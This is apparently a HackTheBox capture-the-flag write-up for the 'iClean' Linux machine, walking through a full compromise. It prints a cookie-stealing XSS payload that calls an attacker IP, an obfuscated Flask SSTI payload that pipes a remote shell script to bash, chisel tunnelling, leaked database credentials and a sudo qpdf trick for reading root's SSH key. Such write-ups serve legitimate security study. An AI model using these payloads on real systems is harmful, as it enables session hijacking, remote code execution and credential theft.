HTB: iClean Writeup

Machine Banner

Machine Information

AttributeDetails
NameiClean (Capiclean)
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
Hostnamecapiclean.htb
AuthorN/A

Machine Rating

⭐⭐⭐⭐☆ (7.0/10)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

iClean is a Medium-difficulty Linux machine running Flask with MySQL backend. The attack chain involves discovering an XSS vulnerability in the service request form to steal admin session cookies, exploiting Server-Side Template Injection (SSTI) in the QRGenerator endpoint to achieve RCE, extracting database credentials and cracking them for SSH access, and finally using a misconfigurations qpdf binary to extract the root SSH key.

TL;DR: XSS to steal cookies → SSTI for RCE → Database credentials → SSH → Privilege escalation via qpdf.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- capiclean.htb

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.52 (Ubuntu)
Werkzeug/2.3.7 Python/3.10.12 (Flask)

Service Enumeration

Hostname: capiclean.htb

Web enumeration revealed the following endpoints:

  • /logout - Logout endpoint
  • /login - Login page
  • /about - About page
  • /services - Services listing
  • /dashboard - Admin dashboard
  • /team - Team information
  • /quote - Service quote form
  • /choose - Service selection
  • /server-status - Server status page

Vulnerability Assessment

Identified Vulnerabilities:

  1. Cross-Site Scripting (XSS) in /quote endpoint email field
  2. Server-Side Template Injection (SSTI) in QRGenerator endpoint
  3. Weak Privilege Escalation Controls - qpdf can be run with sudo without restrictions

Initial Foothold

XSS Exploitation in Quote Form

The /quote endpoint contains a service request form vulnerable to XSS in the email field. By injecting JavaScript, we can steal the admin’s session cookie.

XSS Payload:

<img src=x onerror=this.src="http://10.10.14.64:8001/"+btoa(document.cookie)>

Exploitation Steps:

  1. Set up a simple HTTP listener to capture the payload response:
Terminal window
python3 -m http.server 8001
  1. Send the XSS payload via POST to /sendMessage:
Terminal window
curl -X POST http://capiclean.htb/sendMessage \
-d "email=<img src=x onerror=this.src=\"http://10.10.14.64:8001/\"+btoa(document.cookie)>&message=test&name=test"
  1. The admin’s browser will execute the JavaScript and send their base64-encoded cookie to our server.

  2. Base64 decode the captured cookie to retrieve the admin JWT session token.

Captured Admin Session Cookie (JWT):

  • Role hash: 21232f297a57a5a743894a0e4a801fc3 (admin)
  • Token can be set in browser to gain admin access to dashboard

User Compromise

SSTI to RCE Exploitation

With admin access via the stolen session cookie, we can access the /dashboard which exposes the QRGenerator endpoint. This endpoint is vulnerable to Server-Side Template Injection.

Step 1: Leak Flask Configuration

Send a POST request to /QRGenerator with a template injection payload:

Terminal window
curl -X POST http://capiclean.htb/QRGenerator \
-H "Cookie: session=<admin_jwt>" \
-d "qr_link={{config.items()}}"

This reveals Flask’s configuration including the SECRET_KEY:

SECRET_KEY: zvwxzkpjjvlzcnqqajyldqkoeuivcnzvtsonshgdtwamrimnnmhbnmkttntiecmj

Step 2: RCE via SSTI

Using Python’s object traversal capabilities through SSTI, we can execute arbitrary commands:

{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('curl 10.10.14.64:8000/shell.sh|bash',shell=True,stdout=-1).communicate()}}

This uses hex encoding to bypass certain filters and chain through Python classes to access the subprocess.Popen class at index 365.

Credential Extraction from Database

After gaining shell access, examine the application source code:

Terminal window
cat /var/www/html/app.py

Find database credentials:

Database User: iclean
Database Password: pxCsmnGLckUb
Database: iclean

Database Enumeration

Set up port forwarding with chisel:

Terminal window
# On attacker machine
./chisel server -p 8000 --reverse
# On target machine
./chisel client 10.10.14.64:8000 R:3306:localhost:3306

Connect to MySQL and dump the users table:

Terminal window
mysql -h localhost -u iclean -ppxCsmnGLckUb iclean
SELECT * FROM users;

Users Table:

admin: 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51
consuela: 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa

Hash Cracking

Using online hash databases (crackstation.net) or hashcat:

consuela’s password: simple and clean

SSH Access

Terminal window
ssh consuela@capiclean.htb
# Password: simple and clean

User Flag

Terminal window
cat ~/user.txt

🚩 User Flag: <REDACTED>


Privilege Escalation

Enumeration

Terminal window
sudo -l

Output:

(ALL) /usr/bin/qpdf

User consuela can run qpdf with root privileges without password.

Exploitation via qpdf

The qpdf utility can be abused to read arbitrary files using the --add-attachment flag. While normally used to embed files in PDFs, we can extract the root SSH key.

Step 1: Extract root’s SSH key

Terminal window
sudo qpdf --empty --add-attachment /root/.ssh/id_rsa --mimetype=text/plain -- extract.pdf

This creates a PDF with the SSH key embedded as an attachment.

Step 2: Extract the SSH key from the PDF

Use binwalk to extract files embedded in the PDF:

Terminal window
binwalk -e extract.pdf
cd _extract.pdf.extracted

The extracted directory will contain the root SSH key.

Step 3: SSH as root

Terminal window
ssh -i id_rsa root@capiclean.htb

Root Flag

Terminal window
cat /root/root.txt

🚩 Root Flag: <REDACTED>


Attack Chain Summary

graph TD
A["XSS in /quote endpoint<br/>Steal admin cookie"] --> B["Access /dashboard<br/>with admin JWT"]
B --> C["SSTI in QRGenerator<br/>Leak SECRET_KEY & RCE"]
C --> D["Execute shell commands<br/>Extract DB credentials"]
D --> E["MySQL: consuela hash<br/>Crack password"]
E --> F["SSH as consuela<br/>Get user flag"]
F --> G["sudo qpdf abuse<br/>Extract root SSH key"]
G --> H["SSH as root<br/>Get root flag"]

Tools Used

ToolPurpose
nmapPort scanning and service fingerprinting
gobusterDirectory enumeration
ffufWeb fuzzing and parameter discovery
Burp SuiteHTTP request interception and SSTI testing
curlHTTP requests and XSS payload delivery
python3HTTP server for XSS exfiltration, scripting
chiselTCP tunneling for MySQL port forwarding
mysqlDatabase enumeration and credential extraction
hashcatHash cracking
crackstationOnline hash database lookup
binwalkExtracting files from PDF attachments
qpdfPDF manipulation and file embedding
sshSecure shell access to target

Vulnerability Reference

#VulnerabilityComponentSeverityImpact
1Cross-Site Scripting (XSS)Quote Form (/quote)HighSession hijacking, cookie theft
2Server-Side Template Injection (SSTI)QRGenerator EndpointCriticalRemote Code Execution
3Insecure Sudo Privilegesqpdf BinaryHighArbitrary file read as root
4Weak Password HashDatabaseMediumCredential compromise via cracking

Key Learnings

  1. XSS as a Gateway: Client-side vulnerabilities like XSS can directly compromise admin sessions and escalate attack surface significantly. Always validate and sanitize user input in form fields.

  2. SSTI is Critical: Server-side template injection in Flask and similar frameworks can lead directly to RCE. Never render user-controlled data through template engines without proper sandboxing.

  3. Credential Extraction Chains: Finding credentials in application source code or configuration files is common. Always check application directories for hardcoded database credentials.

  4. Weak Sudo Configurations: Allowing specific binaries to run with sudo without restrictions is dangerous. Even utilities like qpdf designed for file manipulation can be abused to read sensitive files.

  5. Hash Cracking: Simple, common passwords can be cracked quickly using online databases or standard wordlists. Defense in depth is essential — don’t rely solely on password hashes for sensitive accounts.

  6. JWT Session Cookies: JWT tokens visible in cookies should be treated as sensitive credentials. Stealing them can grant full account compromise without needing to crack passwords.


References

  • SSTI in Flask: Jinja2 template injection exploitation techniques
  • XSS Exploitation: Session cookie theft via DOM-based XSS
  • qpdf Abuse: Using PDF utilities for arbitrary file access
  • MySQL Enumeration: Database credential extraction and hash cracking

Author

Writeup Created: 08 Mar 2026


Disclaimer

This writeup is for educational purposes only. All activities described were performed in a controlled, legal environment (HackTheBox platform). Unauthorized access to computer systems is illegal.


Last Updated: 08 Mar 2026

Tags: #HackTheBox #Linux #Medium #Flask #SSTI #XSS #JWT #PrivEsc